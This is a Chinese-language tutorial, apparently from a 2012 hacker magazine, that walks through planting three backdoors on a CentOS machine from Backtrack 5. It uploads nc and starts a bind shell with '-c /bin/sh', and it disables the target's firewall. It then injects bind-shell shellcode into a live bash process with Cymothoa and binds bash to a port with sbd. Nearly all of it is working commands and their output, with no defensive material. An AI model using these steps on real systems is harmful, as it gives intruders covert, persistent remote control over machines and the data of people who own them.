Linux 后门应用
Table of Contents
本文已发于《黑客X档案》2012.2、3合刊
1. 前言
想必大家已经熟悉了在 Windows 下使用各种后门了,从早期的灰鸽子开始,国内层出不穷的后门木马就不断地涌现。但是基于 Linux 平台的后门,想必各位读者还是有大一部分人没有接触过。Linux 平台也不乏许多优秀的后门,本文将用著名的 Backtrack 5 中自带的三个后门来进行讲解,希望开阔大家的视野。
2. 瑞士军刀——nc
其实 nc 并不是一个后门程序,nc 原本是用来网络方面的,但是它却天生具备后门功能,于是更是被广泛用在了后门上,并且也编译出了 Windows 平台上的。对于 nc 相信各位读者毫不陌生。不过在一般的 Linux 发行版中,后门功能是被删除了的,但是作为专用于渗透测试的 Backtrack 5,其自带的 nc 是具有后门功能的。
Backtrack 5 中的后门程序全部存储在“Applications->BackTrack->Maintaining Access->OS Backdoors“菜单中的。但是 nc 不在其中,倘若我们想找到 nc 的位置,可以在终端键入以下命令:
root@bt:~# whereis nc nc: /bin/nc /bin/nc.traditional /usr/share/man/man1/nc.1.gz root@bt:~#
根据命令的执行结果,得知 nc 的可执行文件存储在 /bin 目录下的。如果我们要在别的 Linux 主机上用 nc 当后门,一定要记得将 Backtrack 5 中 /bin 目录下的 nc 上传到对方主机,因为之前说过了,很多发行版的 nc 不具备一些特殊功能。
nc 同样也可以用于 Windows 平台上,并且 Backtrack 5 中也带有 Windows 版本的 nc。不仅是 nc,Backtrack 5 也内置了一些在 Windows 上使用的工具,它们都位于 /pentest/windows-binaries 目录下:
root@bt:~# ls /pentest/windows-binaries/ databases misc pstools sniffers kartoffel passwd-attack scanners tools root@bt:~#
从返回结果来看,windows-binaries 目录下还有多个子目录。其他目录中的工具大家可以暂时先自己研究下,我们需要的 nc 位于 tools 目录下,名为 nc.exe。
在这里,我演示一下 nc 作为后门的用法。我的目标机是一台 CentOS 5.6。
我们先把 Backtrack 5 中的 nc 上传到 CentOS 中,可以通过上传到 Web 空间后,在目标机 wget 的方式下载;也可以用 sftp,sftp 也是我爱用的方法。以下是执行过程,请读者注意加粗并标记编号部分:
root@bt:~# ping 192.168.1.3 (1) PING 192.168.1.3 (192.168.1.3) 56(84) bytes of data. 64 bytes from 192.168.1.3: icmp_seq=1 ttl=64 time=3.83 ms 64 bytes from 192.168.1.3: icmp_seq=2 ttl=64 time=0.531 ms ^C --- 192.168.1.3 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1001ms rtt min/avg/max/mdev = 0.531/2.181/3.831/1.650 ms root@bt:~# sftp 192.168.1.3 (2) Connecting to 192.168.1.3... The authenticity of host '192.168.1.3 (192.168.1.3)' can't be established. RSA key fingerprint is fe:de:95:c0:2e:d2:11:34:c9:25:8f:64:bf:a3:11:74. Are you sure you want to continue connecting (yes/no)? Yes Warning: Permanently added '192.168.1.3' (RSA) to the list of known hosts. [email protected]'s password: sftp> ls (3) a.tar adore-ng adore-ng.tar anaconda-ks.cfg ddrk ddrk.tgz enyelkm-1.3 enyelkm-1.3.tar.gz install.log install.log.syslog lx test wnps-0.26 wnps.tgz sftp> put /bin/nc ~/nc (4) Uploading /bin/nc to /root/~/nc Couldn't get handle: No such file or directory sftp> put /bin/nc nc Uploading /bin/nc to /root/nc /bin/nc 100% 22KB 21.6KB/s 00:00 sftp> ls (5) a.tar adore-ng adore-ng.tar anaconda-ks.cfg ddrk ddrk.tgz enyelkm-1.3 enyelkm-1.3.tar.gz install.log install.log.syslog lx nc test wnps-0.26 wnps.tgz sftp>
在上方过程(1)中,我首先 ping 了一下目标机是否通畅,IP 地址是 192.168.1.3;接着在(2)中,我用 sftp 登录到目标机,输入一次 yes,接着键入登录密码(默认是 root 的,只是演示用);(3)中我首先用 ls 命令看了下目标机 home 中的文件;(4)中通过 put 命令上传本地 /bin/nc 到远程目录,接着在(5)中再次用 ls 命令,可以看到 nc 成功上传了。
接着我们来看下 nc 的用法,各位玩 Linux 的工具一定要多利用帮助啊,键入 nc -h,多余的文字我就删除了,只留下最主要的:
connect to somewhere: nc [-options] hostname port[s] [ports] ... listen for inbound: nc -l -p port [-options] [hostname] [port] options: -c shell commands as -e'; use /bin/sh to exec [dangerous!!] ... -l listen mode, for inbound connects ... -p port local port number
我们注意“listen for inbound”这行,这行提示我们应该如何监听端口,既然在目标上,我们首先应该监听端口,然后再在咱们的 Backtrack 5 中连接到这个端口。-l 参数表示监听,-p 表示指定一个监听端口,-c 是最有意思的功能,它可以让我们远程执行 shell 命令。咱们在目标机器上试下:
[root@lx ~]# ./nc -l -p 8899 -c /bin/sh
接着在本地 Backtrack 5 中连接,使用格式是 nc 目标IP 端口号:
root@bt:~# nc 192.168.1.3 8899
之后提示(UNKNOWN) [192.168.1.3] 8899 (?) : No route to host。遇到这种问题我们不要纳闷,是 CentOS 防火墙问题,在 CentOS 里执行 setup 命令,找到“Firewall configuration,把“Security Level”改成“Disabled”就没问题了。再次连接,只见什么也没返回,却有光标闪烁,这证明已经成功了,不信打个 ls 命令试下?
3. Cymothoa
Cymothoa 是名副其实的后门了,不像 nc 只是一个带有后门功能的网络管理工具了。国内介绍它的文章暂时还没怎么发现,但经过笔者使用,确实是一个强悍无比的后门,就纳闷怎么没多少人介绍呢。
通过刚才我介绍的后门存放位置找到它,直接运行,它自动在终端里执行了,并且显示了帮助说明。但是,种植到目标机器的时候,我们还需要先编译这个后门,因为直接传过去的可执行文件并不一定能够运行成功啊,为了保险,我就从编译开始。有兴趣的还可以阅读下它的源码。
通过菜单运行 cymothoa,我们已经处于它所在目录下了,通过 ls 命令,可以看到很多 .c 和 .h 为后缀的文件,这些是它的源文件(如图1):
整个过程是:将源文件打包成压缩文件后上传到目标机,然后解压,最后编译并运行。
压缩过程如下:
root@bt:/pentest/backdoors/cymothoa# cd .. (1) root@bt:/pentest/backdoors# tar -cf cymothoa.tar cymothoa/ (2) root@bt:/pentest/backdoors# ls (3) 3proxy cymothoa cymothoa.tar dns2tcp iodine ptunnel web root@bt:/pentest/backdoors#
在(1)中,我们切换到上一级目录,然后在(2)中执行 tar 命令,通过加参数 cf 进行文件夹打包,cymothoa.tar 是打包后的压缩包名,cymothoa 则是将要参与打包的目录。打包后通过(3)中的 ls 命令,可以看到压缩文件的存在了。最后通过前面讲的 sftp 的方法将其上传到目标机。
在 CentOS 中执行如下:
[root@lx ~]# tar xf cymothoa.tar (1) [root@lx ~]# cd cymothoa (2) [root@lx ~]# make (3) cc cymothoa.c -o cymothoa -Dlinux_x86 [root@lx ~]#
在(1)中,我们通过 tar 跟 xf 参数解压上传过来的压缩包,(2)中进入解压后的目录,通过(3)中的 make 命令编译 cymothoa ,之后就可以在目录下看到一个名为“cymothoa“的可执行文件了。
既然成功编译,接下来我们就应该将编译后的可执行文件拷贝到单独的一个目录,这个过程由聪明的读者随意解决吧。
在正式使用之前,我先简单介绍下它的原理,它通过向指定进程(bash 进程)注入特定功能的 shellcode 代码,一般我都是用的绑定一个端口的 shellcode,本文演示也依旧使用这个,因为其复杂性,我特地将以前录的视频教程附在光盘中,读者有兴趣可以去看看。我们依旧看下帮助:
root@bt:/pentest/backdoors/cymothoa# ./cymothoa -h Usage: cymothoa -p <pid> -s <shellcode_number> [options] Main options: -p process pid (1) -s shellcode number (2) -l memory region name for shellcode injection (default /lib/ld) see /proc/pid/maps... -h print this help screen -S list available shellcodes (3) Payload personalization options: -x set the IP -y set the port number -r set the port number 2 -z set the username (3 bytes) -o set the password (8 bytes) -i set the interpreter (def /bin/bash) -c set the script code (from cmd line) -F do not fork parent process root@bt:/pentest/backdoors/cymothoa# ./cymothoa -S (4) 0 - bind /bin/sh to the provided port (requires -y) ....其余shellcode省略
其中(1)为指定一个进程 id,一般来说都会选择 bash 的进程。执行 ps -s(如图2):
我们注意图2中最后一行最后的文字是“-bash”,其 PID 为 2358,我们就选定它。在注入到 bash 进程之前,我们得看下有哪些可用的 shellcode,(2)中 -s 参数后面跟 shellcode 的编号,编号通过(3)中跟 -S(大写 S)参数获得,执行如(4),返回的列表中有不少可选的 shellcode,为了节约版面,我就只贴出了编号为 0 的,读者可以自己尝试其他的。
在 CentOS 上,我们执行,其中 -y 跟自定义端口号:
[root@lx cymothoa]# ./cymothoa -p 2358 -s 0 -y 4444
执行结果输出如图3:
看到“infected!!!”(被感染)字样则证明成功了。接着在 Backtrack 5 中用 nc 连接:
root@bt:~ # nc 192.168.1.3 4444
接着依然是一个光标闪烁,但是可以执行系统命令了。
4. 跨平台的 SBD
sbd 是本文中介绍的最后一个后门程序,它也是跨平台的,其 Windows 中的二进制文件存放在 /pentest/windows-binaries/tools 中的,Linux 版的文件位置可以通过 whereis 命令查看,就不重复演示了。
sbd 跟 nc 的差不多,但是更高级一点,这里我只演示基础的,同样请大家先看帮助,玩 Linux 程序,最重要的就是要学会看帮助啊。其实它的基本参数跟 nc 的差不多,依旧是通过 I/O 重定向,然后绑定端口,等待连接。这里我简单说下所谓的 I/O 重定向:
系统有所谓的标准输入和输出,比如 Linux 执行命令后,返回在终端上的那些文字就是标准输出,通过键盘键入命令,我们叫它标准输入,I/O 重定向就是听过将它的输出位置和接受输入的方法改变,也就是说,我们在 sbd 后门中,我们将输出结果通过网络传送给控制者,将控制者远程输入的命令作为程序的输入。
在 CentOS 上,执行以下命令监听端口,并改变 bash 的输入输出:
[root@lx ~]# ./sbd -l -p 1234 -e bash
其中 -l 参数表示监听;-p 指定一个监听端口;-e 表示将 bash 的输入输出重定向,如果是 Windows 平台,可以换成 cmd.exe
在 Backtrack 5 下连接:
root@bt:~# sbd 192.168.1.3 1234
注意,是使用 sbd 连接,不是 nc。
5. 结尾
为了普及大家 Linux 平台的安全技术,本文介绍了 3 个后门的基本用法,希望大家多揣摩揣摩,它们都还有很强大的功能,如有机会,单独撰文为大家讲述。